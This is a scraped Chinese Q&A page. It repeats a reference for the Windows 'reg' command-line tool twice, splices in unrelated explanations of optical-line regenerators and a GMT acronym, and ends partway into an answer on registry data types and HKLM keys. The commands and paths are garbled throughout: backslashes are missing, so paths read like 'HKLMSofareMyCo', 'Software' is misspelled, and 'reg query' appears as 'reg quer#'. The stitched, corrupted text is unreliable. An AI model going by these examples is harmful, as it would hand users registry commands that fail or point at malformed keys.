数据类型并且需要列出多个项时,指定用来分隔数据的多个实例的字元。如果没有指定,将使用默认分隔设定“”。 /d Data 指定新注册表项的数据。 /f 添加注册表项而不要求确认。 /? 在命令提示符处显示 reg add 的帮助。 注释 ? 该操作不能添加子树。该版本的 Reg 在添加子项时无需请求确认。 ? 下表列出了 reg add 操作的返回值。 值 描述 0 成功 1 失败 ? 对于 REG_EXPAND_SZ 项类型,在 /d 参数内将插入符号 ( ^ ) 与“%”一起使用。 示例 示例1 要在远程计算机 ABC 上添加 HKLMSofareMyCo 项,请键入: REG ADD \ABCHKLMSofareMyCo 要将一个注册表项添加到 HKLMSofareMyCo,选项为值名:Data;类型:REG_BINARY;数值数据:fe340ead;请键入: REG ADD HKLMSofareMyCo /v Data /t REG_BINARY /d fe340ead 要将一个多值注册表项添加到 HKLMSofareMyCo,选项为值名:MRU;数据类型:REG_MULTI_SZ;数值数据:faxmail;请键入: REG ADD HKLMSofareMyCo /v MRU /t REG_MULTI_SZ /d faxmail 要将一个扩展的注册表项添加到 HKLMSofareMyCo,选项为值名:Path;数据类型:REG_EXPAND_SZ;数值数据:%systemroot%;请键入: REG ADD HKLMSofareMyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^% reg compare 比较指定的注册表子项或项。 语法 reg compare KeyName1 KeyName2 [{/v ValueName | /ve}] [{/oa | /od | /os | on}] [/s] 参数 KeyName1 指定要比较的第一个子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部 分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以 及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 KeyName2 指定要比较的第二个子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部 分。省略 \ComputerName 会导致默认对本地计算机的操作。只在 KeyName2 中指定计算机名会导致该操作使用到 KeyName1 中指定的子项的 路径。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 /v ValueName 指定要比较的子项下的值名称。 /ve 指定只比较值名称为 null 的项。 [{/oa | /od | /os | on}] 指定如何显示比较操作的结果。默认设定是 /od。下表列出了每一个选项。 值 描述 /oa 指定显示所有不同点和匹配点。默认情况下,仅列出不同点。 /od 指定仅显示不同点。这是默认操作。 /os 指定仅显示匹配点。默认情况下,仅列出不同点。 /on 指定不显示任何内容。默认情况下,仅列出不同点。 /s 递归地比较所有子项和项。 /? 在命令提示符处显示 reg compare 的帮助。 注释 ? 下表列出了 reg compare 操作的返回值。 值 描述 0 比较成功且结果相同。 1 比较失败。 2 比较成功并找到不同点。 ? 下表列出了结果中显示的符号。 符号 描述 = KeyName1 数据等于 KeyName2 数据 < KeyName1 数据小于 KeyName2 数据 > KeyName1 数据大于 KeyName2 数据 示例2 要将 MyApp 项下的所有值与 SaveMyApp 项下的所有值进行比较,请键入: REG COMPARE HKLMSofareMyCoMyApp HKLMSofareMyCoSaveMyApp 要比较 MyCo 项下的 Version 的值和 MyCo1 项下的 Version 的值,请键入: REG COMPARE HKLMSofareMyCo HKLMSofareMyCo1 /v Version 要将计算机 ZODIAC 上 HKLMSofareMyCo 下的所有子项和值与当前计算机上 HKLMSofareMyCo 下的所有子项和值进行比较,请键入: REG COMPARE \ZODIACHKLMSofareMyCo \。/s reg copy 将一个注册表项复制到本地或远程计算机的指定位置。 语法 reg copy KeyName1 KeyName2 [/s] [/f] 参数 KeyName1 指定要复制子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。 如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 KeyName2 指定子项目的地的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。 如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 /s 复制指定子项下的所有子项和项。 /f 不要求确认而直接复制子项。 /? 在命令提示符处显示 reg copy 的帮助。 注释 ? 在复制子项时 Reg 不请求确认。 ? 下表列出了 reg copy 操作的返回值。 值 描述 0 成功 1 失败 示例3 要将 MyApp 项下的所有子项和值复制到 SaveMyApp 项,请键入: REG COPY HKLMSofareMyCoMyApp HKLMSofareMyCoSaveMyApp /s 要将计算机 ZODIAC 上的 MyCo 项下的所有值复制到当前计算机上的 MyCo1 项,请键入: REG COPY \ZODIACHKLMSofareMyCo HKLMSofareMyCo1 reg delete 从注册表删除子项或项。 语法 Reg delete KeyName [{/v ValueName | /ve | /va}] [/f] 参数 KeyName 指定要删除的子项或项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分 。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 /v ValueName 删除子项下的特定项。如果未指定项,则将删除子项下的所有项和子项。 /ve 指定只可以删除为空值的项。 /va 删除指定子项下的所有项。使用本参数不能删除指定子项下的子项。 /f 无需请求确认而删除现有的注册表子项或项。 /? 在命令提示符处显示 reg delete 的帮助。 注释 ? 下表列出了 reg delete 操作的返回值。 值 描述 0 成功 1 失败 示例4 要删除注册表项 Timeout 以及其所有子项和值,请键入: REG DELETE HKLMSofareMyCoMyAppTimeout 要删除计算机 ZODIAC 上 HKLMSofareMyCo 下的注册表值 MTU,请键入: REG DELETE \ZODIACHKLMSofareMyCo /v MTU reg export 将本地计算机的指定子项、项和值复制到一个档案中,以便传输到其他伺服器。 语法 Reg export KeyName FileName [/y] 参数 KeyName 指定子项的完全路径。Export 操作仅可在本地计算机上工作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以 及 HKCC。 FileName 指定在操作期间创建的档案的名称和路径。该档案必须具有 .reg 扩展名。 /y 不要求确认即覆盖任何现有的名称为 FileName 的档案。 /? 在命令提示符处显示 reg export 的帮助。 注释 ? 下表列出了 reg export 操作的返回值。 值 描述 0 成功 1 失败 示例5 要将 MyApp 项的所有子项和值的内容导出到档案 AppBkUp.reg,请键入: reg export HKLMSofareMyCoMyApp AppBkUp.reg reg import 将包含已导出的注册表子项、项和值的档案的内容复制到本地计算机的注册表中。 语法 Reg import FileName 参数 FileName 指定其内容将复制到本地计算机注册表中的档案的名称和路径。此档案必须使用 reg export 预先创建。 /? 在命令提示符处显示 reg import 的帮助。 注释 ? 下表列出了 reg import 操作的返回值。 值 描述 0 成功 1 失败 示例6 要从名为 AppBkUp.reg 的档案导入注册表项,请键入: reg import AppBkUp.reg reg load 将保存的子项和项写回到注册表的不同子项中。与用于进行疑难解答或编辑注册表项的临时档案一起使用。 语法 reg load KeyName FileName 参数 KeyName 指定要载入的子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省 略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC 。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 FileName 指定要载入的档案的名称和路径。必须使用 .hiv 作为扩展名的 reg save 操作预先创建该档案。 /? 在命令提示符处显示 reg load 的帮助。 注释 ? 下表列出了 reg load 操作的返回值。 值 描述 0 成功 1 失败 示例7 要将名为 TempHive.hiv 的档案载入到 HKLMTempHive 项,请键入: REG LOAD HKLMTempHive TempHive.hiv reg quer# 返回位于注册表中指定的子项下的下一层子项和项的列表。 语法 reg query KeyName [{/v ValueName | /ve}] [/s] [/se Separator] [/f Data] [{/k | /d}] [/c] [/e] [/t Type] [/z] 参数 KeyName 指定子项的完全路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。 如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 /v ValueName 指定要查询的注册表值名称。如果省略,则返回 KeyName 的所有值名称。如果还使用了 /f 选项,则此参数的 ValueName 是可选的。 /ve 查询空白的值名称。 /s 指定该参数递归查询所有子项和值名称。 /se Separator 指定单值分隔设定,以搜寻 REG_MULTI_SZ 类型的值名称。如果没有指定 Separator,则使用“”。 /f Data 指定要搜寻的数据或模式。如果字元串包含空格,则使用双引号。如果未指定,则使用通配符 ("*") 作为搜寻模式。 /k 指定只在项名称中搜寻。 /d 指定只在数据中搜寻。 /c 指定查询是区分大小写的。默认情况下,查询是不区分大小写的。 /e 指定只返回完全匹配项。默认情况下,返回所有匹配项。 /t Type 指定要搜寻的注册表类型。有效的类型包括:REG_SZ、REG_MULTI_SZ、REG_EXPAND_SZ、REG_DWORD、REG_BINARY、REG_NONE。如果未指定,则 搜寻所有类型。 /z 指定在搜寻结果中包括注册表类型的数字同等物。 /? 在命令提示符处显示 reg query 的帮助。 注释 ? 下表列出了 reg query 操作的返回值。 值 描述 0 成功 1 失败 示例8 要显示 HKLMSofareMicrosoftResKit 项中的名称值 Version 的值,请键入: REG QUERY HKLMSofareMicrosoftResKit /v Version 要显示远程计算机 ABC 上的 HKLMSofareMicrosoftResKitNtSetup 项下的所有子项和值,请键入: REG QUERY \ABCHKLMSofareMicrosoftResKitNtSetup /s 要使用“#”作为分隔设定显示 REG_MULTI_SZ 类型的所有子项和值,请键入: REG QUERY HKLMSofareMicrosoftResKitNtSetup /se # 要显示数据类型 REG_SZ 的 HKLM 根下的“SYSTEM”的完全匹配并且区分大小写的匹配项的项、值和数据,请键入: REG QUERY HKLM /f SYSTEM /t REG_SZ /c /e 要显示数据类型 REG_BINARY 的根键 HKCU 下的数据中的“0F”的匹配项的项、值和数据,请键入。 REG QUERY HKCU /f 0F /d /t REG_BINARY 要显示 HKLMSOFTWARE 下的值名称 null(默认值)的值和数据,请键入: REG QUERY HKLMSOFTWARE /ve reg restore 将保存的子项和项写回到注册表。 语法 Reg restore KeyName FileName 参数 KeyName 指定要还原的子项的完整路径。Restore 操作仅在本地计算机上工作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、 HKU 以及 HKCC。 FileName 指定其内容将写回到注册表中的档案的名称和路径。必须使用 .hiv 作为扩展名的 reg save 操作预先创建该档案。 /? 在命令提示符处显示 reg restore 的帮助。 注释 ? 编辑任何注册表项之前,请使用 reg save 操作保存父子项。如果编辑失败,则可以使用 reg restore 操作还原原来的子项。 ? 下表列出了 reg restore 操作的返回值。 值 描述 0 成功 1 失败 示例9 要将名为 NTRKBkUp.hiv 的档案还原到 HKLMSofareMicrosoftResKit 项,并覆盖该项的现有内容,请键入: REG RESTORE HKLMSofareMicrosoftResKit NTRKBkUp.hiv reg save 将指定的子项、项和注册表值的副本保存到指定档案中。 语法 reg save KeyName FileName [/y] 参数 KeyName 指定子项的完全路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。 如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 FileName 指定所创建的档案的名称和路径。如果未指定路径,则使用当前路径。 /y 不要求确认即覆盖任何现有的名称为 FileName 的档案。 /? 在命令提示符处显示 reg save 的帮助。 注释 ? 下表列出了 reg save 操作的返回值。 值 描述 0 成功 1 失败 ? 编辑任何注册表项之前,请使用 reg save 操作保存父子项。如果编辑失败,则可以使用 reg restore 操作还原原来的子项。 示例10 要将配置单元 MyApp 作为名为 AppBkUp.hiv 的档案保存到当前资料夹中,请键入: REG SAVE HKLMSofareMyCoMyApp AppBkUp.hiv reg unload 使用 reg load 操作删除已载入的部分注册表。 语法 reg unload KeyName 参数 KeyName 指定要卸载的子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省 略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC 。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 /? 在命令提示符处显示 reg unload 的帮助。 注释 ? 下表列出了 reg unload 操作的返回值。 值 描述 0 成功 1 失败 示例11 要卸载 HKLM 中的配置单元 TempHive,请键入: REG UNLOAD HKLMTempHive ② 再生中继设备REG:REG的基本功能是接收来自光纤线路的信号,将它再生后发往下一段光线路。同时REG产生、终结再生段开销。 Regenerator -- 再生器 传输线路上的再生、中继设备, 用于克服光通路中对信号损伤的累积如色散引起的波形畸变。REG可分为1R、2R、3R三种类型。 再生器 REG(regenerator) 定义:实现数位讯号再生的装置。 原理: 当我们开车在路上行驶了很长时间后,发现油箱告警,这时最需要做的事就是赶快找一个加油站,给车加加油,让它吃饱喝足,恢复一下能量,这样我们的车又可以进行长途跋涉了。 REG就是光传输线路上的加油站。由于光纤中存在损耗和色散,原本又高又瘦的光脉冲信号经过长距离传输后,会变得又矮又胖,能量越来越微弱,还带有很多毛刺(噪声)。这样的信号如果不加以处理,让它继续传送到接收端时,就会根本辨别不出来传送的是什么信息。因此,我们线上路中间需要设定REG,对信号进行再生放大。也就是为光脉冲信号提供能量,让变形的光脉冲恢复出原来的模样,如图1所示,这样又可以传送很远的距离了。 种类: 光传输网中的REG有两种:一种是纯光的再生中继器,可直接对光信号进行放大;另一种是对电信号进行放大的电再生中继器,这时就需要通过光/电转换先将光信号变成电信号,对电信号进行整形放大,再生完成后再将电信号还原成光信号传送出去。其中,纯光的再生中继器由于其转换效率更高,套用范围更广,特别是在超长距离光传输系统中得到广泛套用。 REG Range, Ephemeris, GMT 格林尼治标准时间、范围、历书
2023-07-20 11:18:241

批处理有个代码没看懂

reg的命令在这里:http://baike.baidu.com/view/106918.html?tp=0_01REG 的 命令 使用 Reg 对注册表子项信息和注册表项值中的值执行添加、更改、导入、导出以及其他操作。 reg 命令包括: reg add reg compare reg copy reg delete reg export reg import reg load reg query reg restore reg save reg unload reg add 将新的子项或项添加到注册表中。 语法 reg add KeyName [{/v ValueName | /ve}] [/t DataType] [/s Separator] [/d Data] [/f] 参数 KeyName 指定要添加的子项或项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分 。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 /v ValueName 指定要添加到指定子项下的注册表项名称。 /ve 指定添加到注册表中的注册表项为空值。 /t Type 指定注册表项的类型。Type 必须是以下几种类型之一: REG_SZ REG_MULTI_SZ REG_DWORD_BIG_ENDIAN REG_DWORD REG_BINARY REG_DWORD_LITTLE_ENDIAN REG_LINK REG_FULL_RESOURCE_DESCRIPTOR REG_EXPAND_SZ /s Separator 当指定了 REG_MULTI_SZ 数据类型并且需要列出多个项时,指定用来分隔数据的多个实例的字符。如果没有指定,将使用默认分隔符“”。 /d Data 指定新注册表项的数据。 /f 添加注册表项而不要求确认。 /? 在命令提示符处显示 reg add 的帮助。 注释 ? 该操作不能添加子树。该版本的 Reg 在添加子项时无需请求确认。 ? 下表列出了 reg add 操作的返回值。 值 描述 0 成功 1 失败 ? 对于 REG_EXPAND_SZ 项类型,在 /d 参数内将插入符号 ( ^ ) 与“%”一起使用。 示例 要在远程计算机 ABC 上添加 HKLMSoftwareMyCo 项,请键入: REG ADD \ABCHKLMSoftwareMyCo 要将一个注册表项添加到 HKLMSoftwareMyCo,选项为值名:Data;类型:REG_BINARY;数值数据:fe340ead;请键入: REG ADD HKLMSoftwareMyCo /v Data /t REG_BINARY /d fe340ead 要将一个多值注册表项添加到 HKLMSoftwareMyCo,选项为值名:MRU;数据类型:REG_MULTI_SZ;数值数据:faxmail;请键入: REG ADD HKLMSoftwareMyCo /v MRU /t REG_MULTI_SZ /d faxmail 要将一个扩展的注册表项添加到 HKLMSoftwareMyCo,选项为值名:Path;数据类型:REG_EXPAND_SZ;数值数据:%systemroot%;请键入: REG ADD HKLMSoftwareMyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^% reg compare 比较指定的注册表子项或项。 语法 reg compare KeyName1 KeyName2 [{/v ValueName | /ve}] [{/oa | /od | /os | on}] [/s] 参数 KeyName1 指定要比较的第一个子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部 分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以 及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 KeyName2 指定要比较的第二个子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部 分。省略 \ComputerName 会导致默认对本地计算机的操作。只在 KeyName2 中指定计算机名会导致该操作使用到 KeyName1 中指定的子项的 路径。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 /v ValueName 指定要比较的子项下的值名称。 /ve 指定只比较值名称为 null 的项。 [{/oa | /od | /os | on}] 指定如何显示比较操作的结果。默认设置是 /od。下表列出了每一个选项。 值 描述 /oa 指定显示所有不同点和匹配点。默认情况下,仅列出不同点。 /od 指定仅显示不同点。这是默认操作。 /os 指定仅显示匹配点。默认情况下,仅列出不同点。 /on 指定不显示任何内容。默认情况下,仅列出不同点。 /s 递归地比较所有子项和项。 /? 在命令提示符处显示 reg compare 的帮助。 注释 ? 下表列出了 reg compare 操作的返回值。 值 描述 0 比较成功且结果相同。 1 比较失败。 2 比较成功并找到不同点。 ? 下表列出了结果中显示的符号。 符号 描述 = KeyName1 数据等于 KeyName2 数据 < KeyName1 数据小于 KeyName2 数据 > KeyName1 数据大于 KeyName2 数据 示例 要将 MyApp 项下的所有值与 SaveMyApp 项下的所有值进行比较,请键入: REG COMPARE HKLMSoftwareMyCoMyApp HKLMSoftwareMyCoSaveMyApp 要比较 MyCo 项下的 Version 的值和 MyCo1 项下的 Version 的值,请键入: REG COMPARE HKLMSoftwareMyCo HKLMSoftwareMyCo1 /v Version 要将计算机 ZODIAC 上 HKLMSoftwareMyCo 下的所有子项和值与当前计算机上 HKLMSoftwareMyCo 下的所有子项和值进行比较,请键入: REG COMPARE \ZODIACHKLMSoftwareMyCo \。/s reg copy 将一个注册表项复制到本地或远程计算机的指定位置。 语法 reg copy KeyName1 KeyName2 [/s] [/f] 参数 KeyName1 指定要复制子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。 如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 KeyName2 指定子项目的地的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。 如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 /s 复制指定子项下的所有子项和项。 /f 不要求确认而直接复制子项。 /? 在命令提示符处显示 reg copy 的帮助。 注释 ? 在复制子项时 Reg 不请求确认。 ? 下表列出了 reg copy 操作的返回值。 值 描述 0 成功 1 失败 示例 要将 MyApp 项下的所有子项和值复制到 SaveMyApp 项,请键入: REG COPY HKLMSoftwareMyCoMyApp HKLMSoftwareMyCoSaveMyApp /s 要将计算机 ZODIAC 上的 MyCo 项下的所有值复制到当前计算机上的 MyCo1 项,请键入: REG COPY \ZODIACHKLMSoftwareMyCo HKLMSoftwareMyCo1 reg delete 从注册表删除子项或项。 语法 Reg delete KeyName [{/v ValueName | /ve | /va}] [/f] 参数 KeyName 指定要删除的子项或项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分 。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 /v ValueName 删除子项下的特定项。如果未指定项,则将删除子项下的所有项和子项。 /ve 指定只可以删除为空值的项。 /va 删除指定子项下的所有项。使用本参数不能删除指定子项下的子项。 /f 无需请求确认而删除现有的注册表子项或项。 /? 在命令提示符处显示 reg delete 的帮助。 注释 ? 下表列出了 reg delete 操作的返回值。 值 描述 0 成功 1 失败 示例 要删除注册表项 Timeout 以及其所有子项和值,请键入: REG DELETE HKLMSoftwareMyCoMyAppTimeout 要删除计算机 ZODIAC 上 HKLMSoftwareMyCo 下的注册表值 MTU,请键入: REG DELETE \ZODIACHKLMSoftwareMyCo /v MTU reg export 将本地计算机的指定子项、项和值复制到一个文件中,以便传输到其他服务器。 语法 Reg export KeyName FileName [/y] 参数 KeyName 指定子项的完全路径。Export 操作仅可在本地计算机上工作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以 及 HKCC。 FileName 指定在操作期间创建的文件的名称和路径。该文件必须具有 .reg 扩展名。 /y 不要求确认即覆盖任何现有的名称为 FileName 的文件。 /? 在命令提示符处显示 reg export 的帮助。 注释 ? 下表列出了 reg export 操作的返回值。 值 描述 0 成功 1 失败 示例 要将 MyApp 项的所有子项和值的内容导出到文件 AppBkUp.reg,请键入: reg export HKLMSoftwareMyCoMyApp AppBkUp.reg reg import 将包含已导出的注册表子项、项和值的文件的内容复制到本地计算机的注册表中。 语法 Reg import FileName 参数 FileName 指定其内容将复制到本地计算机注册表中的文件的名称和路径。此文件必须使用 reg export 预先创建。 /? 在命令提示符处显示 reg import 的帮助。 注释 ? 下表列出了 reg import 操作的返回值。 值 描述 0 成功 1 失败 示例 要从名为 AppBkUp.reg 的文件导入注册表项,请键入: reg import AppBkUp.reg reg load 将保存的子项和项写回到注册表的不同子项中。与用于进行疑难解答或编辑注册表项的临时文件一起使用。 语法 reg load KeyName FileName 参数 KeyName 指定要加载的子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省 略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC 。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 FileName 指定要加载的文件的名称和路径。必须使用 .hiv 作为扩展名的 reg save 操作预先创建该文件。 /? 在命令提示符处显示 reg load 的帮助。 注释 ? 下表列出了 reg load 操作的返回值。 值 描述 0 成功 1 失败 示例 要将名为 TempHive.hiv 的文件加载到 HKLMTempHive 项,请键入: REG LOAD HKLMTempHive TempHive.hiv reg quer# 返回位于注册表中指定的子项下的下一层子项和项的列表。 语法 reg query KeyName [{/v ValueName | /ve}] [/s] [/se Separator] [/f Data] [{/k | /d}] [/c] [/e] [/t Type] [/z] 参数 KeyName 指定子项的完全路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。 如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 /v ValueName 指定要查询的注册表值名称。如果省略,则返回 KeyName 的所有值名称。如果还使用了 /f 选项,则此参数的 ValueName 是可选的。 /ve 查询空白的值名称。 /s 指定该参数递归查询所有子项和值名称。 /se Separator 指定单值分隔符,以搜索 REG_MULTI_SZ 类型的值名称。如果没有指定 Separator,则使用“”。 /f Data 指定要搜索的数据或模式。如果字符串包含空格,则使用双引号。如果未指定,则使用通配符 ("*") 作为搜索模式。 /k 指定只在项名称中搜索。 /d 指定只在数据中搜索。 /c 指定查询是区分大小写的。默认情况下,查询是不区分大小写的。 /e 指定只返回完全匹配项。默认情况下,返回所有匹配项。 /t Type 指定要搜索的注册表类型。有效的类型包括:REG_SZ、REG_MULTI_SZ、REG_EXPAND_SZ、REG_DWORD、REG_BINARY、REG_NONE。如果未指定,则 搜索所有类型。 /z 指定在搜索结果中包括注册表类型的数字同等物。 /? 在命令提示符处显示 reg query 的帮助。 注释 ? 下表列出了 reg query 操作的返回值。 值 描述 0 成功 1 失败 示例 要显示 HKLMSoftwareMicrosoftResKit 项中的名称值 Version 的值,请键入: REG QUERY HKLMSoftwareMicrosoftResKit /v Version 要显示远程计算机 ABC 上的 HKLMSoftwareMicrosoftResKitNtSetup 项下的所有子项和值,请键入: REG QUERY \ABCHKLMSoftwareMicrosoftResKitNtSetup /s 要使用“#”作为分隔符显示 REG_MULTI_SZ 类型的所有子项和值,请键入: REG QUERY HKLMSoftwareMicrosoftResKitNtSetup /se # 要显示数据类型 REG_SZ 的 HKLM 根下的“SYSTEM”的完全匹配并且区分大小写的匹配项的项、值和数据,请键入: REG QUERY HKLM /f SYSTEM /t REG_SZ /c /e 要显示数据类型 REG_BINARY 的根键 HKCU 下的数据中的“0F”的匹配项的项、值和数据,请键入。 REG QUERY HKCU /f 0F /d /t REG_BINARY 要显示 HKLMSOFTWARE 下的值名称 null(默认值)的值和数据,请键入: REG QUERY HKLMSOFTWARE /ve reg restore 将保存的子项和项写回到注册表。 语法 Reg restore KeyName FileName 参数 KeyName 指定要还原的子项的完整路径。Restore 操作仅在本地计算机上工作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、 HKU 以及 HKCC。 FileName 指定其内容将写回到注册表中的文件的名称和路径。必须使用 .hiv 作为扩展名的 reg save 操作预先创建该文件。 /? 在命令提示符处显示 reg restore 的帮助。 注释 ? 编辑任何注册表项之前,请使用 reg save 操作保存父子项。如果编辑失败,则可以使用 reg restore 操作还原原来的子项。 ? 下表列出了 reg restore 操作的返回值。 值 描述 0 成功 1 失败 示例 要将名为 NTRKBkUp.hiv 的文件还原到 HKLMSoftwareMicrosoftResKit 项,并覆盖该项的现有内容,请键入: REG RESTORE HKLMSoftwareMicrosoftResKit NTRKBkUp.hiv reg save 将指定的子项、项和注册表值的副本保存到指定文件中。 语法 reg save KeyName FileName [/y] 参数 KeyName 指定子项的完全路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。 如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 FileName 指定所创建的文件的名称和路径。如果未指定路径,则使用当前路径。 /y 不要求确认即覆盖任何现有的名称为 FileName 的文件。 /? 在命令提示符处显示 reg save 的帮助。 注释 ? 下表列出了 reg save 操作的返回值。 值 描述 0 成功 1 失败 ? 编辑任何注册表项之前,请使用 reg save 操作保存父子项。如果编辑失败,则可以使用 reg restore 操作还原原来的子项。 示例 要将配置单元 MyApp 作为名为 AppBkUp.hiv 的文件保存到当前文件夹中,请键入: REG SAVE HKLMSoftwareMyCoMyApp AppBkUp.hiv reg unload 使用 reg load 操作删除已加载的部分注册表。 语法 reg unload KeyName 参数 KeyName 指定要卸载的子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省 略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC 。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。 /? 在命令提示符处显示 reg unload 的帮助。 注释 ? 下表列出了 reg unload 操作的返回值。 值 描述 0 成功 1 失败 示例 要卸载 HKLM 中的配置单元 TempHive,请键入: REG UNLOAD HKLMTempHive ★② 再生中继设备REG:REG的基本功能是接收来自光纤线路的信号,将它再生后发往下一段光线路。同时REG产生、终结再生段开销。
2023-07-20 11:18:323

详细的介绍下注册表和组策略器的用处,最好详细说明

   数据类型  注册表的数据类型主要有以下四种:   显示类型(在编辑器中)数据类型说明REG_SZ字符串文本字符串REG_MULTI_SZ多字符串含有多个文本值的字符串REG_BINARY二进制数二进制值,以十六进制显示。REG_DWORD双字一个32位的二进制值,显示为8位的十六进制值。  [1][2]各主键的简单介绍HKEY_LOCAL_MACHINE   HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。   HKEY_LOCAL_MACHINEAppEvents   为了以后在客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。   HKEY_LOCAL_MACHINEConfig   这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键   HKEY_LOCAL_MACHINEConfig01Display   这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等   HKEY_LOCAL_MACHINEConfig01System   这个键保存着系统里打印机的信息   